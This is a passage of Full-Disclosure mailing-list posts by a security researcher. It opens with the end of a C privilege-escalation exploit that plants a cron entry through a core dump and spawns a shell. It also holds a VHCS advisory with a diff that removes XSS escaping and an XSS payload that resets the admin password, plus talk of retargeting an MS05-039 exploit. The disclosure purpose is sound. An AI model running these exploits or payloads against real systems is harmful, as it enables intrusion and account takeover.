printf("By: dreyer & RoMaNSoFt\n");
printf("[ 10.Jul.2006 ]\n\n");
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
printf("[*] Creating Cron entry\n");
if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
sleep(62);
printf("[*] Running shell (remember to remove /tmp/sh when finished)
...\n");
system("/tmp/sh -i");
}
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] How secure is software X?
Lucien Fransman wrote: > I often wondered about this. An assessment is only as good as the assesser. > What is the use of a "i can break and exploit $foo application, and have > shown this in my tests", if it is done by a private exploit? Again, i'm [...] > It only shows that the application has a bug, that is known to you or your > company. Will it benefit the company that is being tested? I am not so sure > about this. What would a company do with this kind of information? Fix the > bug? They can't because they dont have access to the source. Will it entice > the vendor to fix the vulnerability? No, as they dont know it exists. It shows that the company's security could/should be improved. Security must follow a layered approach. Perhaps you cannot fix the real problem (i.e. the bug) but you can avoid it to be exploited/abused. For instance, the pentester *probably* couldn't have exploited that 0-day overflow in that Linux critical server if it had Grsec running on. Or the pentester couldn't have exploited that 0-day SQL injection bug if Apache had been configured with some kind of application firewall (ModSecurity, etc). Or this hacked-by-0day server couldn't have been even accessed if the network were propperly segmented/firewalled. Or my IDS noticed the 0day exploitation (not very sure of this }:-)). Or I couldn't avoid the compromise but I had it logged to my syslog bullet-proof server. Or... If I were a company, I'd like to know that I survived to 0day exploit attempts or at least I detected them. It's an important added value for me. -- Saludos, -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] PHP and SCRIPT_NAME variable
Hello, Last week I was thinking about the possibility for an external attacker to influence over the following PHP variable: $_SERVER['SCRIPT_NAME'] The former variable contains the remote path (URI) to a PHP script, so if for instance you access with a browser to: http:///aa/bb/cc/script.php Then SCRIPT_NAME will contain "/aa/bb/cc/script.php" I did some basic tests with PHP 4.3.10 and the implementation seems to be safe: - For instance, if you access something like: http:///aa/bb/../dd/cc/script.php Then SCRIPT_NAME will be "/aa/dd/cc/script.php" instead of "/aa/bb/../dd/cc/script.php" - If you try: http:///aa/bb/cc/script.php/something or http:///aa/bb/cc/script.php?something Then SCRIPT_NAME will contain "/aa/bb/cc/script.php" My goal is to be able to add some attacker-specified string to the variable. Two questions: 1) Do you know of any trick/method by which an attacker could alter SCRIPT_NAME variable? (obviusly without having access to docroot directory and/or edit httpd.conf) 2) Perhaps older PHP versions didn't sanitize SCRIPT_NAME variable correctly and could be abused? Any idea? TIA. Cheers, -Román ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] RS-2006-1: Multiple flaws in VHCS 2.x
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
===
- RS-Labs Security Advisory -
===
Tittle: Multiple flaws in VHCS 2.x
ID: RS-2006-1
Severity: Critical
Date: 11.Feb.2006
Author: Román Medina-Heigl Hernández (a.k.a. RoMaNSoFt) <[EMAIL PROTECTED]>
URL: http://www.rs-labs.com/adv/RS-Labs-Advisory-2006-1.txt
.: [ SUMMARY ]
With about 100.000 installs, VHCS (Virtual Hosting Control System) [1] is
perhaps the best known professional control panel software being open source
and an excelent choice for shared, reseller, virtual and dedicated server
management.
VHCS team recently released a security patch (dated on Feb, 5th). As I was
evaluating that software (mainly from a functional perspective) and I care
about security I decided to download it and have a look at it. Soon I realized
that the patch was flawed: it was indeed adding a big XSS [5] security hole (by
removing specific XSS protection which existed in latest VHCS version -
2.4.7.1). I reported the problem to Alexander Kotov (VHCS project leader,
hereinafter will be referred as "the vendor"), with cc to Full-Disclosure
mailing-list [2]. This is bug #1 and we will mark the related security patch
as "v.1". As a bonus, I also reported another bug: #2.
The vendor issued a new security patch (a.k.a. "v.2"), correcting the XSS
problems, and refused to explain what the real bug supposedly being fixed was,
either publicly neither privately. Moreover, they didn't inform its own users
of the problems with security patch v.1 and indeed they simply replaced the
old patch (v.1) with the new one (v.2), without changing filename nor issuing
any kind of warning. I'm differentiating them here by adding the "v.#" suffix.
I quickly researched the new patch. It only introduced one line of code into
check_login() function. I found a critical bug being partially fixed here.
Let's name it as bug #3. I also noticed the same function continued being
buggy (before or after applying patch v.2) and while testing former bugs I
discovered a new bug (#4). Finally vendor issued a third patch (dated on Feb,
9th), let's call it v.3. It corrected bug #3 but not #4 (which is 0day at the
time of writing this advisory).
.: [ BUG #1 ]
Severity: High
Affected: 2.4.7.1 + patch v.1, 2.4.6.2 (and lower)
Fixed: 2.4.7.1 (optionally plus: patch v.2 or patch v.3)
Summary:"Admin Log" XSS
VHCS has three different access level interfaces: administrator, reseller
and domain user. The administrator interface is the more powerful and permits
full control over the system. One of the tasks of a VHCS administrator is
reviewing logs and this functionality is integrated on the admin interface.
You can reach it by logging with an admin account and then clicking: System
Tools -> Admin log. This dynamic page (and the rest of the GUI) is written in
PHP. Basically, what it will do is to read logs from MySQL database (in parti-
cular, table "log" from "vhcs2" database, by default), perform some kind of
simple parsing (for instance, adding bold style to certain special words) and
finally print them to the GUI.
VHCS registers several events in logs, including bad login attempts. In this
case, a simple entry like this is generated: "john bad password login data".
As you probably noted, "john" is the username trying to log in. The problem is
that VHCS takes this username directly from the login page, without any fil-
tering. So some evil attacker could enter whatever he/she wants -including
HTML and/or JavaScript code- as username and it will be logged. Next time when
the VHCS administrator reviews logs using GUI's "Admin log" page, that code
will be executed in the context of VHCS Admin GUI. This is doubly dangerous:
the attacker owns victim's browser (which could be used as a new attack vector
to other known vulnerabilities such as Windows' WMF bug, Internet Explorer or
Firefox vulns, etc) and he/she also owns VHCS GUI with admin privileges.
For instance, you can exploit this bug by entering the following string as
the username in VHCS login page:
document.dsr.submit()
When the administrator reviews the logs, his/her password will be automati-
cally changed to "hackme".
.: [ BUG #2 ]
Severity: Low
Affected: All versions (tested on: 2.4.7.1 w/ or wo/ any patch, 2.4.6.2)
Fixed: None
Summary:Weak change password mechanism
The script "admin/change_password.php" allows to change password without
asking for the old password. This "feature" was used at exploiting bug #1
(for fun and profit).
.: [ BUG #3 ]
Severity: Critical
Affected: 2.4.7.1, 2.4.6.2 (and lower)
Fixed: Patch v.3
Summary:check_login() authentication bypass
The script "gui/include/login.php" contains the following function (2.4.7.1):
function check_login () {
if (isset($_SESSION['user_logged'])) {
if (!check_user_login($_SESSION['user_logged'], $_
[Full-disclosure] Re: VHCS Security Patch - 2006-02-05 --> Fake!
Hi,
Let's summary:
1.- You (as VHCS "vendor") publish a patch that when installed opens a
big security hole (as demonstrated in my former analysis).
2.- You didn't notify security mailing-lists (as a responsible vendor
would do if a new security bug has been identified and fixed, which is
what you are claiming).
3.- Someone (me), publicly reports it (with cc to you) (I already argued
why I decided to go public; read my former mail).
4.- You answer saying it has now been fixed but you didn't publish any
reference or info in the VHCS page.
5.- So a VHCS customer who downloaded the wrong patch (and does not
consult security mls/sites) won't notice any change in your original
announce and will be vulnerable indeed. You are not correctly informing
your users.
6.- I publicly ask you for a clarification about the real bug which was
supposed to have been fixed and you didn't answer. Anything to hide?
7.- I didn't get any response but an offending mail accusing me of
elevating alarm level at securitywizardry... Pathetic.
Sorry, but I don't believe in security through obscurity. Insulting
people reporting problems is not the solution. Acknowledging your own
errors and clarifying the situation is. VHCS users deserve an official
explanation. Is / isn't 2.4.7.1 really vulnerable to a new bug?
PS: I'm posting this to full-disclosure, as an example of how a vendor
response to a security issue should never be.
Cheers,
-Román (aka the "stupid asshole" :-))
Alexander Kotov [moleSoftware] wrote:
> If you want to go public in the furute fiest conatact someone of the dev
> team
> Wait at least 1 day and then go public ... stupid asshole
>
> here the results of your activiy
> http://securitywizardry.com/alertstate.htm#alerts
>
> Fuck you
> Alex
>
>
> Roman Medina-Heigl Hernandez wrote:
>
>> Hi Alex,
>>
>> My apologies if I've been a bit rough, but public security mailing-lists
>> are intended to deal with (un)security issues. I don't understand why
>> you didn't announce in mls the issue if a new vuln was being fixed. It
>> seemed some kind of joke or hack, since I missed the "die()" function
>> and I only saw security fixes being removed, so it was suspicious. I
>> decided to go public because people could be downloading wrong patch.
>>
>> I didn't have time to analyze the effects of die() line there. I suppose
>> that's the real fix, isn't it? Could you elaborate on that? What's the
>> real vuln being fixed?
>>
>> Sorry for the inconvenience. No offense was intended.
>>
>> Cheers,
>> -Roman
>>
>>
>> Alexander Kotov [moleSoftware] wrote:
>>
>>
>>> Hi Roman,
>>>
>>> u ... I'm human being and make mistakes. I just got older version of
>>> the file.
>>> Now I rebuilded the tarball and the problem is fixed.
>>>
>>> I think it is not necessary to post such kind of messages in public
>>> mailinglists
>>> before you contact someone of the development team and wait at least
>>> some hours.
>>>
>>> cheers
>>> Alex
>>>
>>>
>>> Roman Medina-Heigl Hernandez wrote:
>>>
>>>
>>>
>>>> Hi,
>>>>
>>>> I've just visited VHCS main page and noticed the following "security
>>>> patch":
>>>>
>>>> http://vhcs.net/new/modules/news/article.php?storyid=23
>>>>
>>>> It reads:
>>>>
>>>> "This patch is for all VHCS versions.
>>>> You have to update only one GUI file - /vhcs2/gui/include/login.php
>>>>
>>>> Just replace the file
>>>> "
>>>>
>>>> Well, just do NOT apply it It's a fake! Indeed it will leave your
>>>> VHCS installation vulnerable to a high severity cross-site-scripting
>>>> issue!
>>>>
>>>> See it:
>>>> login_orig_unix.php --> original 2.4.7.1 login.php (converted to Unix)
>>>> login_new_unix.php --> login.php from "security patch"
>>>>
>>>> [EMAIL PROTECTED]:~$ diff login_orig_unix.php login_new_unix.php
>>>> 38c38
>>>> < write_log("Login error,
>>>> ".htmlspecialchars($uname,
>>>> ENT_QUOTES, "UTF-8")." unknown username");
>>>> ---
>>>>
>>>>
>>>>
>>>>
>>>>> write_log("Login error, ".$uname." unknown
>>>>>
>>>>>
[Full-disclosure] Re: VHCS Security Patch - 2006-02-05 --> Fake!
Hi Alex,
My apologies if I've been a bit rough, but public security mailing-lists
are intended to deal with (un)security issues. I don't understand why
you didn't announce in mls the issue if a new vuln was being fixed. It
seemed some kind of joke or hack, since I missed the "die()" function
and I only saw security fixes being removed, so it was suspicious. I
decided to go public because people could be downloading wrong patch.
I didn't have time to analyze the effects of die() line there. I suppose
that's the real fix, isn't it? Could you elaborate on that? What's the
real vuln being fixed?
Sorry for the inconvenience. No offense was intended.
Cheers,
-Roman
Alexander Kotov [moleSoftware] wrote:
> Hi Roman,
>
> u ... I'm human being and make mistakes. I just got older version of
> the file.
> Now I rebuilded the tarball and the problem is fixed.
>
> I think it is not necessary to post such kind of messages in public
> mailinglists
> before you contact someone of the development team and wait at least
> some hours.
>
> cheers
> Alex
>
>
> Roman Medina-Heigl Hernandez wrote:
>
>> Hi,
>>
>> I've just visited VHCS main page and noticed the following "security
>> patch":
>>
>> http://vhcs.net/new/modules/news/article.php?storyid=23
>>
>> It reads:
>>
>> "This patch is for all VHCS versions.
>> You have to update only one GUI file - /vhcs2/gui/include/login.php
>>
>> Just replace the file
>> "
>>
>> Well, just do NOT apply it It's a fake! Indeed it will leave your
>> VHCS installation vulnerable to a high severity cross-site-scripting
>> issue!
>>
>> See it:
>> login_orig_unix.php --> original 2.4.7.1 login.php (converted to Unix)
>> login_new_unix.php --> login.php from "security patch"
>>
>> [EMAIL PROTECTED]:~$ diff login_orig_unix.php login_new_unix.php
>> 38c38
>> < write_log("Login error, ".htmlspecialchars($uname,
>> ENT_QUOTES, "UTF-8")." unknown username");
>> ---
>>
>>
>>> write_log("Login error, ".$uname." unknown
>>>
>>
>> username");
>> 75c75
>> <
>> write_log( htmlspecialchars($uname, ENT_QUOTES, "UTF-8")." Domain status
>> is not OK - user can not login");
>> ---
>>
>>
>> write_log( $uname." Domain status is not OK - user can not login");
>> 104c104
>> < write_log( htmlspecialchars($uname, ENT_QUOTES,
>> "UTF-8")." user logged in.");
>> ---
>>
>>
>>> write_log( $uname." user logged in.");
>>>
>>
>> 112c112
>> < write_log( htmlspecialchars($uname, ENT_QUOTES,
>> "UTF-8")." bad password login data.");
>> ---
>>
>>
>>> write_log( $uname." bad password login data.");
>>>
>>
>> 190c190
>> < write_log(htmlspecialchars($uname, ENT_QUOTES,
>> "UTF-8")." user session timed out");
>> ---
>>
>>
>>> write_log($uname." user session timed out");
>>>
>>
>> 199c199
>> < write_log(htmlspecialchars($uname, ENT_QUOTES,
>> "UTF-8")." bad session data.");
>> ---
>>
>>
>>> write_log($uname." bad session data.");
>>>
>>
>> 258a259
>>
>>
>>> die();
>>>
>>
>> 261a263
>>
>>
>>> }
>>>
>>
>> 437c439
>> < }
>> ---
>>
>>
>>> //}
>>>
>>
>> [EMAIL PROTECTED]:~$
>>
>>
>> As you can see, the "patch" removes htmlspecialchars() calls letting
>> login.php vulnerable . Nasty...
>>
>> If you apply the "patch" (or have an old VHCS install, for instance
>> version <= 2.4.6.2), the XSS bug is active. Just for fun, you can
>> exploit it by entering the following as "username" (in the login entry
>> page):
>>
>> > action="ch%61nge_password.php">> name="pass" value="hackme">> name="uaction"
>> value="updt_pass">document.dsr.submit()
>>
>> When the VHCS admin enters the "Admin Log" page (in VHCS menu)... his
>> password will be set up to "hackme" :-) The %61 trick is necessary to
>> bypass some string substitution. This exploit combines the XSS bug with
>> what I see as a poor security design bug, which is letting change
>> password without supplying the old one (Alex, please, fix it in next
>> release!).
>>
>> Summarizing, my recommendation: use VHCS 2.4.7.1, don't apply patch.
>>
>>
>>
>
>
--
Saludos,
-Roman
PGP Fingerprint:
09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742
[Key ID: 0xEAD56742. Available at KeyServ]
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] VHCS Security Patch - 2006-02-05 --> Fake!
Hi,
I've just visited VHCS main page and noticed the following "security patch":
http://vhcs.net/new/modules/news/article.php?storyid=23
It reads:
"This patch is for all VHCS versions.
You have to update only one GUI file - /vhcs2/gui/include/login.php
Just replace the file
"
Well, just do NOT apply it It's a fake! Indeed it will leave your
VHCS installation vulnerable to a high severity cross-site-scripting issue!
See it:
login_orig_unix.php --> original 2.4.7.1 login.php (converted to Unix)
login_new_unix.php --> login.php from "security patch"
[EMAIL PROTECTED]:~$ diff login_orig_unix.php login_new_unix.php
38c38
< write_log("Login error, ".htmlspecialchars($uname,
ENT_QUOTES, "UTF-8")." unknown username");
---
> write_log("Login error, ".$uname." unknown
username");
75c75
<
write_log( htmlspecialchars($uname, ENT_QUOTES, "UTF-8")." Domain status
is not OK - user can not login");
---
>
write_log( $uname." Domain status is not OK - user can not login");
104c104
< write_log( htmlspecialchars($uname, ENT_QUOTES,
"UTF-8")." user logged in.");
---
> write_log( $uname." user logged in.");
112c112
< write_log( htmlspecialchars($uname, ENT_QUOTES,
"UTF-8")." bad password login data.");
---
> write_log( $uname." bad password login data.");
190c190
< write_log(htmlspecialchars($uname, ENT_QUOTES,
"UTF-8")." user session timed out");
---
> write_log($uname." user session timed out");
199c199
< write_log(htmlspecialchars($uname, ENT_QUOTES,
"UTF-8")." bad session data.");
---
> write_log($uname." bad session data.");
258a259
> die();
261a263
> }
437c439
< }
---
> //}
[EMAIL PROTECTED]:~$
As you can see, the "patch" removes htmlspecialchars() calls letting
login.php vulnerable . Nasty...
If you apply the "patch" (or have an old VHCS install, for instance
version <= 2.4.6.2), the XSS bug is active. Just for fun, you can
exploit it by entering the following as "username" (in the login entry
page):
document.dsr.submit()
When the VHCS admin enters the "Admin Log" page (in VHCS menu)... his
password will be set up to "hackme" :-) The %61 trick is necessary to
bypass some string substitution. This exploit combines the XSS bug with
what I see as a poor security design bug, which is letting change
password without supplying the old one (Alex, please, fix it in next
release!).
Summarizing, my recommendation: use VHCS 2.4.7.1, don't apply patch.
--
Cheers,
-Roman
PGP Fingerprint:
09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742
[Key ID: 0xEAD56742. Available at KeyServ]
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Invi LogWripper
devy wrote: > It worked for me and it will work for you, if you're not a script-kiddie. > * This sentence sounds familiar to me... :-) (tip: google for it) Cheers, -Roman ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Re: (offtopic) Lame postmaster at Radware?
Sorry, I forgot the attachments (thanks Steve). -- Saludos, -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] --- Begin Message --- Action Taken: An attempt to disinfect the attachment was unsuccessful, so the attachment was quarantined from the message and replaced with a text file informing the recipient of the action taken. The infected attachment has been placed in the designated quarantine folder. Please exercise extreme caution when handling the quarantined attachment To: bugtraq@securityfocus.com From: Roman Medina-Heigl Hernandez Sent: -268036956,29675210 Subject: TWiki exploit (search.pm / CAN-2004-1037) Attachment Details:- Attachment Name: tweaky.pl File: tweaky.pl Infected? Yes Repaired? No Virus Name: Perl/Exploit-TWiki <>--- End Message --- --- Begin Message --- Action Taken: An attempt to disinfect the attachment was unsuccessful, so the attachment was quarantined from the message and replaced with a text file informing the recipient of the action taken. The infected attachment has been placed in the designated quarantine folder. Please exercise extreme caution when handling the quarantined attachment To: full-disclosure@lists.netsys.com From: Roman Medina Sent: 1181173308,29640727 Subject: RS-2004-1: SquirrelMail "Content-Type" XSS vulnerability Attachment Details:- Attachment Name: RS-Labs-Advisory-2004-1.txt File: RS-Labs-.txt Infected? Yes Repaired? No Virus Name: JS/Exploit-CrossSite <>--- End Message --- --- Begin Message --- Action Taken: An attempt to disinfect the attachment was unsuccessful, so the attachment was quarantined from the message and replaced with a text file informing the recipient of the action taken. The infected attachment has been placed in the designated quarantine folder. Please exercise extreme caution when handling the quarantined attachment To: full-disclosure@lists.netsys.com From: Roman Medina Sent: -992492234,29640178 Subject: [Full-Disclosure] RS-2004-1: SquirrelMail "Content-Type" XSS vulnerability Attachment Details:- Attachment Name: RS-Labs-Advisory-2004-1.txt File: RS-Labs-.txt Infected? Yes Repaired? No Virus Name: JS/Exploit-CrossSite <>--- End Message --- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] (offtopic) Lame postmaster at Radware?
Hi, Am I the only one receiving error messages like these since 1+ year ago? Attempts to contact postmaster at Radware were useless. Perhaps some more responsible ppl at Radware can help... PS: My apologies to the list. I couldn't find another method for trying to stop this. -- Saludos, -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] NS1 decryption
Bojan wrote: > The libsldap library obviously can decrypt this, so it should be easy to > write a tool which will do this (once you know how encryption/decryption > works). But, from the text above, it's pretty clear that this is not a > one way function. Since NS1 mechanism is pretty old, I cannot believe it doesn't exist such a tool or that the algorithm has not been published yet, but the fact is than I couldn't find neither of them :-( -- Saludos, -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] NS1 decryption
Hi,
I've been told that Solaris' NS_LDAP_BINDPASSWD could be decrypted. For
instance:
$ ldapclient -l
NS_LDAP_FILE_VERSION= 1.0
NS_LDAP_BINDDN=
cn=proxyagent,ou=profile,dc=blr03-01,dc=india,dc=sun,dc=com
NS_LDAP_BINDPASSWD= {NS1}3d1a48x
...
The pass is {NS1}3d1a48x. Is it really possible to decode it and
get the plaintext password? I couldn't find any useful info about
decoding NS1 passwords.
Any help?
TIA
-R
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Exploit code repository
Francisco Sáa Muñoz wrote: > You can get the Securityfocus exploits collection in the latest versions > from Whax distribution ;) Whax is great. It also contains ExploitTree, if I remember correctly (or it was Auditor? Or both? ...) Btw, does anybody know when Auditor+Whax "merge" is going to be released? -R ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Exploit code repository
http://www.milw0rm.com/ -R ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Framework for the aid of exploiting SQL injection
Hi, Is there any recommended tool which helps to get databases tables, entries, structure, etc, given a particular SQL injection bug in one application? I mean, it should *automatically* try different sentences to figure out the names of the columns and in general, other useful info from the database. Perhaps a PoC of some of NGSSoftware's papers or a more elaborated tool... I'd like to hear from you what's the state of the art in this very particular web-appsec field (so feel free to talk about tools oriented to different database flavours, if you want: SQL Server, Oracle, MySQL, Access, etc...). Thanks. PD: For God's sake, don't continue feeding non-sense threads like the former Netdev's related flamewar. The best thing you can do is to ignore them. -- Saludos, -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Re: MS05_039 Exploitation (different languages)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Sanjay Rawat wrote: > I too observed the same thing. i am running a windows 2K, SP4. i found > that base address of UMPNPMGR.DLL is 0x767a. however, when i run the > attack with this address, the target machine got rebooted (a crash). > this may be, because umpnpmgr.dll is a part of "service.exe", therefore, > on failure, it reboots. but with the unchanged base address, it worked > perfectly. so now the same code can be used for DoS also!!! You are simply crashing "services" proccess because EIP is not reaching the right instructions (eg: pop;pop;ret) or (depending on process' memory layout) it's referencing an invalid address. When Windows detects the crash, it reboots (since it lacks an important system component). This is a side effect. Anyway, if you have a shell, why do you want a simple DoS? :) In order to clarify: - - my hacked hod's exploit changed "destination EIP" to match Spanish systems. So it will NOT work on English systems (call it "DoS"; I prefer to name it "didn't work" ;-)). And that's why appended "-spanish" to filename. - - for Metasploit module, I simply added a new "target", so it supports both English (target 0) and Spanish (target 1). It can be directly copied to "exploits" directory on Metasploit source-tree. That's the reason I didn't change filename in this case (hdm: feel free to add it to Metasploit). Finally, the purpose of my post was not only to add a new target to an exploit (ml would be fastly flooded with tons of similar mails, if every people did it... so please, don't do it, I'm a bad example :-(), but to bring attention over the base address issue and try to learn from you, guys :). Indeed, I still have some questions: - - which is the connection between different languages' Windows, if there is any? (for instance, [EMAIL PROTECTED] suggested that "french offets are like the deutsch") (btw, I didn't change the offset but the base address, which is a different thing) - - any more or less accurate list of connections/links in Windows across different languages? Or perhaps it's something fairly random? PS: You could write directly to me and I'll summarize responses (different base addresses for the exploit are welcome; I don't think it's appropiate to flood the mailing-list with this...). - -- Regards, - -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.0 (MingW32) iD8DBQFDDwzF5H+KferVZ0IRAu65AKCQC9nsb1VjzmooamBTWKZeEUS7sgCgjTwe BAz1iweHkMIgPq0pQaCW99s= =4fg1 -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] MS05_039 Exploitation (different languages)
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Hi,
I tested existing exploits for PnP bug on my W2k SP4 machine (Spanish)
and they didn't work ("services" process is crashing but I got no
shell). So I did a quick review with Olly and I realized that
umpnpmgr.dll is being loaded at a different base address. In Spanish
systems this base address is 0x7677 but current exploits are
assumming (I guess) 0x767a. Then I did a quick hack to HOD's exploit
and it worked perfectly. I also modified Metasploit's module and
included a target for Spanish systems. I've attached resulting exploits
(they are trivial, though).
Is it usual that Windows DLLs have different base address across same
Windows/SP versions (but different languages)?
- --
Cheers,
- -Roman
PGP Fingerprint:
09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742
[Key ID: 0xEAD56742. Available at KeyServ]
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.0 (MingW32)
iD8DBQFDDfOr5H+KferVZ0IRAiZKAKDJ0A1RT+iyFcJipN3k56YEmzctqACePS5e
aUJNlnMEsftew1Yn993iGJY=
=XE3r
-END PGP SIGNATURE-
ms05_039_spanish.tgz
Description: GNU Unix tar archive
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fernando Gont remote command execution and big mouth vulnerability
Hi, Fernando Gont wrote: > At 09:04 a.m. 03/08/2005, Joxean Koret wrote: > >> SHUT THE FUCK UP!!! AND FIX YOUR FUCKING WEBSITE!!! WE ARE ALL SICK >> OF YOUR BORING E-MAILS MOTHERFUCKER! >> >> http://thor.prohosting.com/fgont/cgi-bin/whois.pl Well, not precisely an example of politeness but it seems true... Have a look to the signature: "Gont's web site Contact Fernando Gont at [EMAIL PROTECTED]" > FYI, my website is http://www.gont.com.ar . > My site does not contan scripts, and is hosted on an OpenBSD server. Umm, let's see this: http://64.233.167.104/search?q=cache:KplpfqgJV_MJ:gont.com.ar/tools/+dig+site:gont.com.ar&hl=es&client=firefox-a And that: http://gont.com.ar/tools/ Mysteriously your site was silenty updated hours ago and dig tool removed... PS: Only my thoughts, no offense meant. Cheers, -Román ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
